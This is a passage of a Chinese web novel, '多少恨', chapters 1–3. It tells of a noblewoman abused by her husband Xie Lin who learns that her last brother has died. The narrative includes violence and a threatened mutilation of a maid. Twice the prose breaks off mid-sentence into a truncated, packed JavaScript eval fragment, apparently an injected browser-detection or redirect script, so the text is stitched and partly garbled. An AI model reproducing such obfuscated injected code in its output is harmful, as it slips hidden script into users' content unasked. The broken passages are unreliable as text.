《多少恨》 1. 教训 夜雨淅沥,绵密、阴冷。 寒意漫进老旧的房屋,无声侵入单薄的被衾,渗进肌理。冷意粘腻地贴在王令淑周身,令她在梦中也无法放松,紧紧蹙着细长的眉,手指无意识攥紧。 她又做噩梦了。 今日的这场梦要短促一些。 四更天的梆子一响,她便从梦中惊醒,疲惫地抬眼看向黑洞洞的承尘。 很疲惫。 太阳穴一抽一抽地疼,思绪混乱。梦中残存的恐惧紧张还在,王令淑双眼干涩,头脑混乱,只觉得那股郁气压得她快要喘不过气来。 她什么都做不了。 只能一如既往地望着漆黑的帐子,缓神。 思绪回笼。 王令淑想起,今日天是中秋节。 她已经记不清有多少个中秋,没有回娘家过了。 未嫁人以前,她最喜欢过节。 她是家中这一辈最小的女儿,父母溺爱得过分,性子是最活泼不过。每到过节,一大家子都会聚在一起,宴饮作乐,格外热闹。 她那时候最擅长作诗,清谈更是了不得。 吃了酒,和长兄长姐们斗诗、品评人物、分析朝局,没有一个人能盖过她的风采! 偶尔说不过,也不要紧,耍一耍赖就混过去了。 反正整个王家,没人能拿她怎么办,反正最后都只能捏着鼻子受着。末了气得嗔怪她一句,让她一边儿玩去,少在这里贫嘴烂舌! 而且更多的时候,夺魁的都是王令淑! 那时伯父还在,这些诗会清谈,都由他来做裁判。他老人家德高望重,不但是当世大儒,在朝中更是首屈一指的重臣,品评这些当然是慧眼如炬。 比起已经在朝野上下扬名的长兄,伯父最喜欢的却是她。 夸她灵气四溢,夸她才思敏捷,夸她志向高远。 这话当然惹得大家不满,九姐姐一定要酸溜溜地挤兑几句,十兄扯着嘴大喊不公平,而王令淑会像是一只胜利的大公鸡,贱嗖嗖地把几人气得仰倒。 本来怪严肃的雅集,就会乱作一团。 这时候父亲会佯装不悦,说伯父不该夸得言过其实,又让她万不可因此而自骄自满,不知警惕自省,否则将来迟早要栽大跟头! 可是王令淑又不傻,听得出连批评里的自豪,更洋洋得意了! 她就是享受这样的偏爱。 在这样的目光下,她可以纵情做一切想做的事情,挥洒青春。 即便是出了纰漏,也有人给她兜底。 谁叫她有天子倚重的伯父,有身居高位的父亲,还有或手握兵权、或才学出众、或谋算沉稳的诸位兄长,还有遇到了事情一定会无条件溺爱她的诸位长姐。 王令淑甚至觉得,即便她是个扶不上墙的烂泥巴,只要不是没下限。 她的亲人,也会一样喜欢她。 毕竟他们血脉相连,休戚相关,天然便是世界上最亲密的人。又一起长在王氏门下,日夜相处,同气连枝,分享彼此的喜怒哀乐。 哪怕长大了,也会是彼此最亲密的人,永不改变。 可是…… 她长大了,嫁了人,便少能回家了。 王令淑忽然觉得,眼眶干涩得发痛。 她又想起了八年前的中秋节,大家难得团聚。作为家中最小的女郎,王令淑周旋在诸位聚少离多的亲人身边,花蝴蝶般撒娇聊天。 父亲在忍笑,伯父在大笑。 大兄佯装严厉,让她多少稳重一点。 三姐姐剥了松子,投喂小动物似的全塞进她嘴里,让她少喝点酒。 …… 九姐姐斗诗输给了她,正在生闷气。 十兄拿象牙筷子击打银盏,一边放声高歌,一边指挥她拿几个琥珀碗来合奏。 过去的记忆历历在目。 随着时间的流逝,不但没有变得模糊,反而变得越来越鲜明,越来越清晰。只要闭上眼睛,那些生动的画面就在她面前展开,每个人都是过去的样子。 可睁开眼睛,就什么都没有了。 只有空荡荡的、黑黢黢的屋顶,空气中淡淡的霉晦味,提醒着她早已过去了八年。 足足八年之久。 王令淑又闭上了眼睛。 窗外的细雨密密麻麻,像是数不清的银针般,隔着窗户将寒意刺进来。王令淑的膝盖酸得发胀,疼意撕扯神经,和脑海中欢快的画面混作一团,一时之间分不清此身在何处。 直到天渐渐亮了。 屋外响起侍女忙碌的脚步声,没一会儿,帐子被掀开。 “夫人,该起了。” 侍女银瓶的声音冷淡地响起,也不等王令淑应答,便伸手扶着她的肩膀将她推起身。另一只手挽起纱帐,任由阴晦的晨光照入床帷,落在王令淑惨淡的面上。 即使光线阴沉,也能看出是张美人面。 只可惜,太过憔悴了。 已经看不出一丝一毫美人该有的神采。 只剩枯槁的骨头架子,双眼黯淡,面容麻木。像是阁楼里经年不见光的霉旧宣纸,风一吹,雨一打,就会消失在烂泥地里。 银瓶对此见怪不怪,只眼底闪过不易察觉的嫌恶。 她一板一眼说:“今日是中秋,须得夫人接见客人、清点礼单、安置下人。做完这些,若还有闲暇,家中女眷晚上拜月所置备花果糕点,也许夫人过眼一遍。” 王令淑木然地听着这些。 过了一会儿,银瓶听到她问:“王家接我回去过节的拜帖,还没到吗?” 银瓶迟疑片刻,眸光阴沉。 她想了想,如实说道:“昨日夜里收到了一张王家的帖子。但直接送到了郎主处,尚未转送到夫人这里来,夫人等等便是。” 王令淑就不说话了。 总是这样。 这是她的亲人与她的私事,不该别人插手。 但从她嫁给谢凛以后,便渐渐的,任何与她有关的事情,都要经谢凛的手才能转到她眼前。这还是经过他的手,最终让她知道的,不知道的事情也许…… 王令淑木然的脸上眉微蹙起。 “告诉谢凛,我要这张帖子。”王令淑原本有气无力的语调,落在谢凛两个字时,仿佛迸出一抹尖锐的戾气,“我今日要回王家省亲。” 银瓶冷淡地讥讽道:“夫人,莫要胡闹。” 王令淑短暂沉默。 银瓶见她仿佛不在坚持,为她系好最后一条宫绦,便跪在脚踏上为王令淑穿鞋。 王令淑身上冷,双脚更冷。 哪怕这是双蜀锦所制、缀以东珠碧玉、绣满逼真榴花的翘头履,寻常世家贵女趋之若鹜,也未必能得的珍品,也像是在给死人穿纸糊的寿鞋。 银瓶心中有些说不出的愤懑。 但不等她反应过来,对方便一脚将她踹翻在地上。 侧脸火辣辣地疼。 银瓶下意识仰头,女人端坐在床帐前,锦衣华服衬得她越发像是一个精美的纸扎人。披散在乌黑长发下的面容没有表情,只一双眼幽深如枯井,看得人心口发寒。 她下意识垂下脸,不敢发怒。 只是捡起地上的翘头履,继续为王令淑穿上。 穿好衣裳的王令淑坐在妆镜前,另有梳头娘子拿起木梳,为她绾起发髻。 银瓶站在一侧,毫不掩饰自己眼底的恶意,说的话阴阳怪气。 “奴这就为夫人转达。” “但家主是否答应,奴不敢妄测。” “夫人还是别奢望了。” 说完话,银瓶弯腰行礼。 也不等王令淑说什么,便转过身,娉娉袅袅地快步走了。 梳头娘子大气不敢出。 王令淑却像是没听到似的,端坐在菱花镜前,看着镜中的女人。长及脚踝的发丝落在绒毯上,像是一匹柔软的墨色缎子,细细密密织满了银线。 梳头娘子连忙说:“奴会将白发藏进去,夫人勿恼。” 她今年才二十四岁。 就算是四十二岁的女人,只怕也受不了这样的白发。 王令淑神情淡淡,没有理会。 一直到繁复的高髻梳好,戴上金光熠熠的簪钗,王令淑才自顾自起身。 她很瘦,身量却高挑。 行走间蹙金裙扫过绒毯,翘头履上珍珠闪烁,不一会儿便走到了廊外。屋外的雨下得更大了,晦暗的天空分不太清晨昏,四处湿漉而模糊。 王令淑走进了雨幕中。 梳头娘子愣了一下,本能去寻银瓶。 可银瓶早走了,她没有可以问询的人,一时间不知道如何是好。 眨眼间,王令淑消失在雨幕里。 谢家的宅邸面积很大,内里的花木古老,长得参天蔽日。这样的落雨天,几乎能抢走仅剩的一点天光,使内里行走的人几乎在摸黑。 王令淑在这里待了七年,还算熟悉。 她记得谢凛的书房在哪。 只是不等她走到谢凛的书房,四周便热闹起来,又数不清的灯笼朝着她靠拢过来。很快,她便被大片的火光笼罩在中央,与对面伞下的银瓶对视。 银瓶半边脸还是肿的,仔细看能看出鞋印。 她望着王令淑,语气依旧冷淡不耐。 “夫人,该回去更衣了。” 王令淑问:“谢凛听到了吗?” 银瓶居高临下看着王令淑,不自为什么安静好一会,才恩赐般回答:“自然。” 王令淑垂下眼睑。 没有说话。 冰冷的雨水将她周身打湿,蹙金裙裾满是泥水,娇贵的翘头履已经磨破,乌黑的鬓发蜿蜒黏在她的脸颊上,让她连最后一丝温度也消失。 像一个昂贵的悬丝傀儡。 “再不回去更衣,夫人莫怪奴太过冒犯。” 王令淑说:“过来。” 银瓶不得不走近她。 王令淑平视她:“跪下。” 银瓶眼中闪过一丝恼恨,半天没有动。 王令淑说:“跪。” 眼角余光扫过什么,银瓶轻咬唇瓣,拎着裙子跪了下来。 一巴掌迎面而来。 银瓶耳边嗡鸣不止,两边脸都火辣辣地疼,能感觉到皮肤迅速充血发肿。 但比起这股痛意,更强烈的羞耻感几乎将她淹没,在众人无声的视线中,银瓶恨不得要冲上去掐住王令淑的脖子,大声告诉她她早已不是过去的王家贵女了! 但理智压制着她。 银瓶捂住侧脸,低垂着单薄的脖颈,哀哀哭泣。 可她等了好久,身后的人始终没有出声。 反倒是王令淑像是无视了她一般,蹙金裙拍打过她的侧脸,走向了那个方向。周围所有的人,都没有拦她,可见这是对方默许的。 银瓶心中有一瞬的慌乱嫉恨。 “家主!”银瓶转身跪向远处的男人,在看到阴影中的身形时,迅速镇定下来,“奴一切都按家主吩咐,提醒夫人处事,是夫人非要……” 她的声音戛然而止。 原本还带着几分得意的面容,迅速变得苍白。 王令淑对此置若罔闻。 雨水模糊了视线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男人在她跟前倾下身,抬起她被划破的左脚。 修长如玉的手指一一揩去泥水,才取出袖中的帕子,似乎要将她满是伤痕的左脚包好。 但在他的指节覆上她的肌肤那一刻,王令淑的脊背就被一股恶寒攀住,令她的腹中升腾起强烈的作呕欲。她几乎是本能地,剧烈挣扎一下,踢开了猝不及防的谢凛。 她这一下全然出自本能。 足尖划过男人眼角,未经修剪的指甲划破一道血痕。 很快,在他冷白的脸上汇成血珠。 很晃眼。 周围的人却不敢看,纷纷埋下头,连呼吸声都消弭在了淅淅沥沥的雨声中。 但谢凛并未动怒。 他站起身,抬手揩掉眼尾的血痕。 “不必要帖子。”谢凛的目光变得有些微妙,像是愉悦,又像是惋惜似的,“再等一等。等你处置完中馈,王家来接你的人,应该也到了。” 王令淑皱起了细长的眉。 他怎么可能会有这样的好心? 谢凛往前一步,似乎是想要牵她的手。 但王令淑先后退了两步。 她凝视着谢凛。 男人眸光幽深,看不出其中情绪。 “不。” “我现在就要回家。” 王令淑移开视线,薄唇微抿。 谢凛莞尔:“求我。” 王令淑扯了扯唇角,略带讥讽地看着谢凛,视线只剩下厌倦。 谢凛视若无睹。 “你若想要见王家的人,应该知道怎么做。”他扼住王令淑的下巴,强迫她仰起脸来看他,两人的呼吸交缠,“阿俏,别逼我让你难堪。” 王令淑的呼吸变得急促,脸色却更苍白。 她倔强地移开视线。 但很快,便被对方强硬地掰了过来,对上他猫捉耗子般玩味的视线。 他冰冷的指骨抚过王令淑的侧脸。 “还是说,你要继续和我作对?” 王令淑闭了闭眼。 她和他做对了多少年? 次次都是一样的后果,她赢不了他。 “别碰我。” 王令淑睁开了眼睛,看向近在咫尺的男人,唇角缓缓向上扬起,漆黑黯淡的瞳仁倒映出一片火光。 “恶心。” 谢凛眸光闪了一下。 就在仆人大气都不敢出时,谢凛忽然轻笑出声。 他的手滑落在王令淑后身,攥紧了她瘦得几乎要碎掉的腰,徐徐碾过。在对方挣扎之前,便将她打横抱起,朝着王令淑来时的路走去。 剩下的仆人纷纷跟上。 一番折腾。 谢凛出来时,脸上添了几道抓痕,还有不太显眼的巴掌印。 仆人埋着头,不敢稍微抬眼。 谢凛倒是并不在意似的,他的视线扫过人群,最终落在角落里的银瓶身上。银瓶似乎是察觉到了他的视线,瑟缩了一下,普通跪了下去。 “郎主,不要赶……” 谢凛轻笑了一声。 他的视线落在银瓶瑟缩的脊背上,仿佛想到了什么有趣的事情,面容也变得温雅起来。 “不会。” 银瓶眼中迸出惊喜,迫不及待说:“多谢郎主!” 谢凛抽出匕首,指尖揩过雪亮森寒的刀刃,微微一笑:“岂会有如此便宜的好事?” 要一刀一刀地剁。 一片一片地剐。 才能叫人记得住教训。 2. 九兄 银瓶认得那把匕首。 去年除夕时,夫人亲手将这把匕首插入了郎主心口。 后来人仰马翻,她自然没心思惦记这把匕首去了哪里,眼下只觉得脊背悚然发寒。 “郎主!”银瓶从未觉得这么害怕过,她的思绪乱作一团,只有求生的本能让她爬向眼前的男人,“是夫人她不听话,奴婢只是按着家主的吩咐……” 眼见便要抓住对方的衣摆。 仆从已然抓住了她的后脖颈,拽死狗般将她拖拽开。 无论她怎么挣扎,都无法靠近他分毫。 银瓶渐渐生出绝望。 男人只居高临下睨她。 狭长的凤眼微挑,眸如点漆,冰冷漠然。 “割了舌头喂狗。”他走下台阶进了雨幕,便连多余的眼神也吝于施舍她,简单吩咐,“让她一刀一刀反思,想明白了错在哪,再死不迟。” 银瓶剧烈挣扎,张开嘴想要呼救。 空中却只有细密的雨声。 她彻底绝望。 安静得仿佛不存在的仆人分工明确,垂首跟在他身后,像是无数道影子,衬得他撑伞的背影越发矜贵清冷。 忽然,窗内飞出来一方砚台。 砰! 砚台稳稳砸向雨伞,伞骨顿时碎裂,四分五裂。伞内的人顺势丢掉了这把烂掉的伞,推开窗户,伸手攥紧王令淑的脖颈,将她的头颅拽出窗口。 雨很大,劈头盖脸。 王令淑的视线直直和银瓶对上。 原本颓败狼狈的银瓶察觉到她的视线,眸光瞬间变得尖锐恶劣起来,挑衅地对她扯了扯嘴角,唇瓣张合,无声吐出最恶毒的言语。 简直恨不得生啖其肉。 谢凛仿佛很轻地笑了一声。 王令淑扭过头。 “放了她。” 谢凛墨色的眼底冰冷,略带讥讽地看着她。 王令淑露出厌恶的神情。 “你只要求我。” 对方冰冷的呼吸缠绕在她耳边,像是一条冰冷粘腻的毒蛇,悄无声息便要钻入她的脑中,啃噬吞咬。 王令淑生出一股恶寒,她剧烈挣扎。 然而攥住她后颈的手很用力,几乎要将她的颈骨捏碎般,将她更往前拖拽了几分。他迫使她与他贴近,两双眼睛对视,看不清身边有些什么。 “阿俏。” “你知道该怎么做。” 他有双黑得浓稠的眼睛,带着压迫看人时,有些瘆人。 王令淑唇边勾起一抹讽笑。 她当然知道该怎么做。 可这么多年,任由谢凛再怎么逼迫,她都没有做。 真是做梦。 “怎么,我戳破你们的龌龊事,就要杀人灭口了?”王令淑仰起的脸被雨水打得几乎睁不开眼,她反而闭着眼笑出声,“什么谢司徒,不过是个拈花惹草的龌龊之人,还是不敢承认的……” “咳咳!” 王令淑的喉咙被他死死扼住,再发不出一个字。 连呼吸也变得困难起来。 求生的本能让她要挣扎,可这副身体实在没有多余的力气,挣扎在别人看来都仿佛什么都没有做。她的呼吸彻底窒住,眼前变得模糊,胸口发闷地剧痛。 ……这样也好。 王令淑模糊地想。 “激怒我没用。”谢凛的手似乎松了一些,他的声音也不大,只是语调冷得吓人,“我们是夫妻,你要是想让我放了她,与我直说便是。” 直说就有用吗? 他不过是想要一点一点踩碎她的底线和自尊罢了。 他只需要一条没骨头的哈巴狗。 王令淑忽然觉得想笑,扯了扯嘴角,眼泪却比雨水先一步滑下来。 “谢凛。” “你想怎么做,就怎么做吧。” 她觉得好累。 累到连多说一个字,都要用尽所有力气。 “王令淑。”谢凛托住她下滑的身体,抬手抚去她满脸纵横的雨水,语调低沉,“你想要什么,我没有给过你?” 面上的雨水也变得滚烫。 王令淑别过脸去,只是不说话。 谢凛也不再说话。 一时之间,只有风雨声一声更比一声嘈杂。 “走了。” 不知道过了多久,谢凛松开了她,身形重新没入风雨。一只大气不敢出的仆人连忙上前,亦步亦趋跟在他身后,为他继续撑伞。 没一会儿,消失在雨幕中。 王令淑滑坐在窗前。 秋风吹着雨水打入窗内,溅落在她身上。 王令淑只觉得冷。 浑身上下,从骨头缝里冒出寒意,这股子冷意几乎要将她跳动的心脏冻住。 门被推开。 梳头娘子小声:“夫……夫人,还是先洗个热水澡,换上干衣裳再……再哭。” 听到声音的一刻。 王令淑从无声落泪,变成压抑的抽泣,却还是哭不出声音。 梳头娘子面露不忍。 她轻手轻脚走进来,跪坐在王令淑身前,将她渗血的手掌掰开,攥住了王令淑紧绷的指节。 “等会儿娘家的人来了,夫人的眼睛却哭肿了,要如何见面?”梳头娘子语气放得很轻,视线小心翼翼瞧着王令淑,见她没有生气,“还是装扮得漂漂亮亮,高高兴兴去见面才好,毕竟能见几面呢?” 王令淑的脊背绷直了一刻。 但很快,迅速垮塌下去,弯腰大口大口呼吸。 是啊,能见几面呢? 自成亲以后,她几乎就再也见不到他们了。 若是见了面,却是这副哭哭啼啼的模样,他们怎么能放心。 “沐浴。” 王令淑抬头。 梳头娘子似乎是松了口气,点点头。 热水早就准备好了。 王令淑洗去周身冷意,换上干燥的单衣。屋外又准备了数不尽数的锦绣衣裙、珍宝簪钗,一一铺陈,在灯光下折射出华贵的光彩。 她的视线落在绛红接襕长襦上。 梳头娘子轻声:“这是宫里赐下的织花绞缬,因为料子难得,花色又新奇,宫中娘子抢破了头也未必能有。最特殊的绛色只有一匹,郎主要了来,尽数给夫人裁衣裳。” 王令淑:“剪了。” 梳头娘子猛然抬头。 不等她回答,王令淑已经拿起了金剪刀。 她剪碎绞缬上的榴花纹。 梳头娘子埋下头,不敢再多说什么。 她重新取来一件绛红衫子,按部就班,为王令淑穿衣梳妆。 装扮即将完毕,屋外便传来说话声。 “阿母。”小女郎的嗓音糯糯的,却没有同龄的孩子中气足,咯噔咯噔跑着进了屋内,“今日过节,阿父和先生给我放了一日假,阿母陪我好不好?” 王令淑回过头。 瞧见白净乖巧的女儿,木然的脸上也露出几丝温柔。 她摸了摸女儿的掌心,不冷不热,才轻声:“这么大雨,做什么冒雨跑过来,也不怕摔了。” “我也怕阿母摔了呀。”谢幼训仰脸露出明媚可爱的笑容,扑进母亲怀中蹭了蹭,奶声奶气撒娇,“我想阿母,阿母想我,总要在一起才好。” 才三岁多的孩子,早慧得令人怜爱。 却还是黏母亲得很。 “是,阿母想你。” 王令淑将她抱到膝上,轻飘飘的,心头不由发疼。 本就胎里不足,病弱得很。 却早早被送给夫子启蒙,天不亮便要起来上学,日日功课要做到半夜。琉璃般的眼睛下,竟有一层浅浅的阴影,可见是多久没有睡够了。 “不如睡一会午觉?” 谢幼训打起精神,立刻摇头。 她搂着王令淑的脖子,说悄悄话:“睡着了看不到阿母。” 王令淑心口一酸。 不知道是不是上了年纪,她看到自己的女儿,总会想到自己的母亲。 未出嫁之前,她和母亲的关系算不得特别好。 母亲怪父亲将她宠坏了,养出一副眼高于顶、恣意妄为的性子,就总是出言规训她。那时候的王令淑哪里受得了这些,耐着性子应几句,就忍不住和母亲吵起来。 所以王令淑在家中老避着母亲。 见面便是争执。 算下来,好好待在一处享天伦之乐倒没有几刻。 王令淑抱紧了女儿。 若是将来女儿嫁了,只怕也是经年累月见不到面,不知有多思念和后悔。 “晚些时候舅舅要来?”谢幼训迫不及待地双手张开,眼睛亮晶晶的,“舅舅会不会送给我一把——这么大的弓箭,然后教我射箭?” 王令淑愣了一下。 谢凛的话竟然是真的? 不过,她本也想念得很,信了七八分。 “等你大一些。”王令淑想起十兄马上射箭的潇洒身姿,不由微微露出些笑容,空洞迟钝的眸子也多了些柔和的光亮,“我不仅叫他给你做一把合适的弓箭,还可以让他教你射箭骑马,阿母小时候的骑术就是……” “哇!我要一匹小马驹!” 王令淑略严肃,更正:“要等你大一些,身子骨壮实一些。” 谢幼训:“要多大?” 王令淑想了想:“十五岁。” “太久啦!”谢幼训皱起包子般的小脸,很不高兴,和王令淑讨价还价,“我十三岁就可以学骑马了。我从现在就好好吃饭,好好喝药,每日都打一遍五禽戏,十三岁就不会再生病,一定是一个身子骨结实的大姑娘!” 想到那副景象,王令淑空洞的心口涌出一股暖流。 她温柔地注视着谢幼训。 “好。” “阿母等着岁岁长大。” “长大的岁岁,一定比阿母更聪明、欢乐、美丽。” “才不会。”谢幼训的眼珠子转动,嘻嘻哈哈亲了王令淑一口,大声说,“阿母才是最聪明美丽的女郎,岁岁喜欢阿母,阿母是最好的阿母。” 王令淑摸着女童柔软的垂发。 心想,要是自己会做弓箭就好了。 十兄这些年忙着征战,虽然战功赫赫,只怕是忙得焦头烂额。毕竟以他那潇洒不羁的性子,若只是来见她,哪里会如此周折地先送帖子。 只怕是有要紧事,才如此正式。 既如此,还要让他抽空给岁岁亲手做弓箭,实在有些不体贴人了。 不过…… 她从前骄纵惯了。 在十兄眼里,这样体贴他反倒显得生疏。 “到时候,再让舅舅给你做一捆哨箭。”十兄对各类兵器都极为感兴趣,尤擅制作弓箭和箭术,还没从军是就能做出最好的鸣嘀,在京中是出了名的少年天才,“保准不会叫你失望。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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主母不管事,底下的管事免不了坐大,仗着手中的权势能捞多少好处捞多少好处。彼此之间心知肚明,看破不说破,胃口也日渐大了。 这突然打一棒子,指不定抖落多少见不得人的事呢! “……夫人?”玉盏似乎也没反应过来,这是件得罪人的事情,但也是一件在王令淑身边视衷心的事情,很快下了决心,“奴婢领命,马上就去。” 屋内的仆妇们眼巴巴看着玉盏的背影。 急得几乎要跳脚。 王令淑却仍端坐着,低垂眼睑,徐徐喝一口苦涩的酽茶。 不知过了多久。 她放下茶盏,站起身。 “都下去吧,我自己回去。” 话是这么说,却没有走的意思,没什么情绪的视线扫过几人。 仆妇们如蒙大赦,连忙行礼告辞。 目送众人远去,屋外园中不少仆人忙忙碌碌,王令淑垂了垂眼睑,走了出去。 只是她没有向着住处走,反倒是朝着前院的方向而去。路上遇到的仆婢比往日都老实,不敢对她有丝毫言语指摘,由着她畅行无阻。 果然,不少管事都不在。 寻常下人不敢拦她,任由她一路行至门房处。 “夫……夫人?”门房早就听说她朝着这个方向来了,眼下见了真人,更是急得直抹脑门上的汗,“这里脏乱逼仄,夫人尊贵,怎么能来此处……不如……” “站住。” 王令淑视线落要溜走的童仆身上,不带温度。 后者立刻瑟缩着垂首站立。 “我要坐在这里。”王令淑径直走了进去,坐在中间铺了软垫的矮凳上,无视了四周前来拜谒等候之人的视线,微微阖上眼,“若我阿兄来了,便立刻引他来见我。” 这些客人似乎因为她的出现有些兴奋。 忍不住凑在一处,议论她到底是谁,她的阿兄又到底是谁。 在得出结论后。 空气忽然沉默得可怕。 王令淑并不在意别人的目光,只是偶尔抬眼,看向窗外。 十兄从前总像只精力旺盛的猴子,最不耐烦世家贵族的规矩,是从来都不乘车或轿子的。若他要来看她,必然会像年少时那样,策马狂奔而来。 路上瞧见了好吃的、好看的、好玩的,便下马给她弄来。 等到了,就信手抛给她。 ——看哥哥对你好吧?还不快感激涕零,将他夸到天上去? 从前的王令淑才不会如他意。 但现在,她真的很想念很想念自己的哥哥。 今天见面,还是哄他几句好了。 傍晚时分,雨确实渐渐停了,可惜天光尚未转亮便已西沉。 屋外长街漆黑一片,来拜谒的客人也渐渐都走了,只有门房点起的一豆油灯与她对坐。王令淑看着越来越少的灯芯,忽然觉得心头焦灼得难受,仿佛油中煎熬的是她的心。 终于,长街尽头响起越来越近的马蹄声。 只是伴随着马蹄声的,还有凄厉尖锐的丧乐声,一下一下地割着王令淑的耳膜。 3. 交易 夜色浓稠如墨,长街寂寂。 飘渺的丧乐声越来越大,凄怆的调子划破夜空,几乎将王令淑紧缩的心脏割得鲜血淋漓。她的思绪有些乱,下意识仰起脸,看向天空。 浓云早已散了,圆月皎洁明亮。 值此中秋佳节,家家合该团圆赏月,再不济也在九州共照着这一轮明月。 可谁家偏偏今夜出殡? 阴阳相隔,连共照一轮月亮也做不到。 秋风萧瑟,漫天飞舞的纸钱刮过冰冷的的檐角,摩擦出令人骨冷的窸窣声。王令淑背后泛起一层寒意,她下意识要起身,却不慎打翻了手边的茶盏。 门房连忙道:“夫人莫恼……” 王令淑:“你去替我看看,我阿兄来了吗?” 门房汗落如雨。 “应……应当……”他擦拭着额头的冷汗,转身朝着门外走去,伸出脑袋往外看,“应当是快到了。夫人万万要节哀,不可太过伤心……” 王令淑莞尔。 十兄来了,她高兴还来不及,怎么会伤心呢? 只是乐极生悲,是免不了的。 但九兄和她打打闹闹着一起长大,关系最要好不过,是断然见不得她过得不好的。若是等会儿见了九兄忍不住委屈,也万万要忍住,断然不能在他面前落泪。 战场上本就死生一线,怎么能还惦记着她? “罢了,我自己……” 话还没说完,就被门房打断:“夫人节哀,灵柩停下了,与您告别。” 什么灵柩? 王令淑原本活跃的思绪,在此刻彻底凝结,变得迟钝木讷。 她想问一问门子,他的话是什么意思。 可目光却径直落在了门外,看清了那再熟悉不过的王氏家徽。单薄的灯光照亮家徽,背后是乌黑冰冷的棺椁,在纷飞的惨白纸钱中,无声和她对视。 王令淑的大脑轰隆一声,浑身血液仿佛凝固。 她仿佛明白了什么,却又听不懂。 ……不可能。 绝对不可能! 王令淑连退三步,最终身体一软,整个人栽坐在椅靠中。 她死死盯着棺椁,终于意识到了些什么。 顿时之间,王令淑心口胀涩,喉头发紧,悲恸从魂中涌来,几乎要将她整个人冲散。她顾不了使不上力的手脚,连滚带爬,踉跄奔向那尊冰冷的棺椁。 怎么会。 怎么会…… 王令淑狼狈跪坐在地上,仰起脖颈盯着棺椁,大张着嘴想要哭出声,可是她发不出一点声音。滚烫的泪水夺眶而出,汹涌如泉水,只有一汪明月见得。 耳畔仿佛极安静,又仿佛极嘈杂。 王令淑听不清。 她好像被隔绝在了空气外,看什么都是恍惚的,甚至能远远看见自己伏在地上恸哭的身影。 是假的吧? 对,一定是假的,一定是她被谢凛折磨疯了,所以才会产生这样的幻觉。 王令淑闭上眼睛,强行令自己振作,冷静下来。不知道过了多久,她急迫的心脏终于慢了一些,耳边模糊的声音也变得清晰起来,她才再次睁开眼。 月亮早被乌云掩盖,哪有什么明月? 方才果真是…… “阿母!” 远远一道活泼的呼唤打断了王令淑杂乱的思绪,令她原本激动的心情变得又平静了下来,她朝着门内的方向看去,看到一大一小两道身影。 谢幼训被谢凛抱在怀里,半坐在他的臂弯里,正不听话地闹着要下来自己走。 向来矜贵威严的尚书令谢大人,倒也由着。 “岁岁。”王令淑的心神一松,感觉整个人像是终于踩在了地面上,看着灯光下玲珑可爱的玉人儿,不觉终于呼吸了一口气,“这么晚,怎么来了这里?” 小女郎手里握着一枝丹桂。 在暖黄的灯光下跑来,将丹桂递给她,高兴道:“来看舅舅!” 王令淑脑后仿佛被击中。 “阿母,舅舅呢?” 王令淑喉咙被攥紧,发不出一个字,只有冷意从她四肢百骸汹涌而来。她僵硬地扭动脖子,缓缓看向身后,晦暗月光下,漆黑的棺椁静默矗立。 那具冰冷的棺材里,睡着她鲜衣怒马的阿兄。 再也不会醒来。 她再也没有阿兄了。 她再也没有那个,会教她挽弓骑马,会带她逃课饮酒的阿兄。再也无法像个小孩一样,乖乖坐在门口,猜测阿兄今日会给她带什么新的礼物了。 “哥哥……” 王令淑唤出这两个字时,后面的话都淹没在哽咽中。 她已经没有了母亲,没有了父亲,没有了伯父。 也没有了大兄、三姐姐、七哥哥、九姐姐……短短七八年间,昔日的王氏门庭败落,血亲如剜肉般离她而去,只余下她和最年幼的十哥哥彼此支应。 可上天残酷至此! 残酷至此!竟连十兄都要夺走! 空气中漂浮着丹桂的香气,晦暗的月光柔和似练,王令淑恍然记起…… 八年前的中秋。 也是这样的丹桂,这样的月光。 …… 王令淑抚过冰冷的棺椁,想要对哥哥说些话。年少时,他们兄妹凑在一处,总有说不完的话,出不完的烂主意,可此刻她张开口,却一句话都说不出来。 她不再是十七岁的王令淑。 说出来的,都是不知愁苦的天真话。 如今见了亲人,张开口,脑中最先涌现的却是诉苦的话。她下意识想要告诉哥哥,阿俏这些年过得不好,总是盼着阿兄来看自己,如果不是为了亲人早就熬不下去了…… 可她怎么敢告诉哥哥这些? 王令淑伏在棺木上,泪水汹涌,哽咽不能言说。 不知道过了多久。 丧乐重新响起,老仆上前劝说道:“夫人,棺材既然抬起,就不能落地……非是不能体谅夫人的伤心,只是这么抬着,只怕是扛不住啊!” 王令淑看向四周。 所有人都在等着她,尤其是抬棺的众人。 “更何况,误了及时就更不好了。” “将军生前驰骋疆场,辛劳一生,时时刻刻记挂着夫人。如今身死,不能让安葬一事误了他的安宁……” 王令淑下意识松开手。 仆人长揖到底,招呼众人继续出殡。 凄厉的丧乐声割破夜空,惨白的纸钱扯碎月光,一行人抬着棺材渐渐远去。王令淑站在原地,目光痴痴追随着那具棺椁,忽然发了疯一般朝着自己的阿兄追去。 不要。 不要走。 “按住她。” 王令淑被拽得一个趔趄,直接摔倒在地上。她顾不上别的,起身便要继续去追,却被更多只手拽了回来,几乎淹没,将她拖拽开阿兄的身边。 等到视线重新变得清晰。 长街已然变得空荡,远去的丧乐声若有若无,只有门前的父女二人还在。 谢幼训懵懂看着她,好像有些害怕。 谢凛则眉间微蹙,冷淡的目光投在她身上,仿佛带着几分悲悯怜惜,又好像是微不可察的嫌恶。 “……” 王令淑垂下眼。 “昨日究竟是王家的帖子,还是……”她的语调冷漠得自己都有些陌生,说到此处却还是难以为继,心中几乎恨得滴血,“还是我阿兄的讣告?” 明明昨日她就该知道的消息! 她却硬生生等到此时,不能回家吊唁,要死去阿兄停在他谢家的门口……亲眼看她最后一眼。 这世上怎么会有谢凛这般狼心狗肺、冷血至极的人! 她当初…… 又怎么偏偏,就看上了谢凛这样的人? 如果不是自己当初看上了谢凛,非要吵着闹着要嫁给谢凛,阿父和伯父就不会被陛下忌惮,整个王家就不会陷入如今的困局……父亲战死在北人手中,伯父还要忍痛出使议和。 如今连十兄也死在了北人手中。 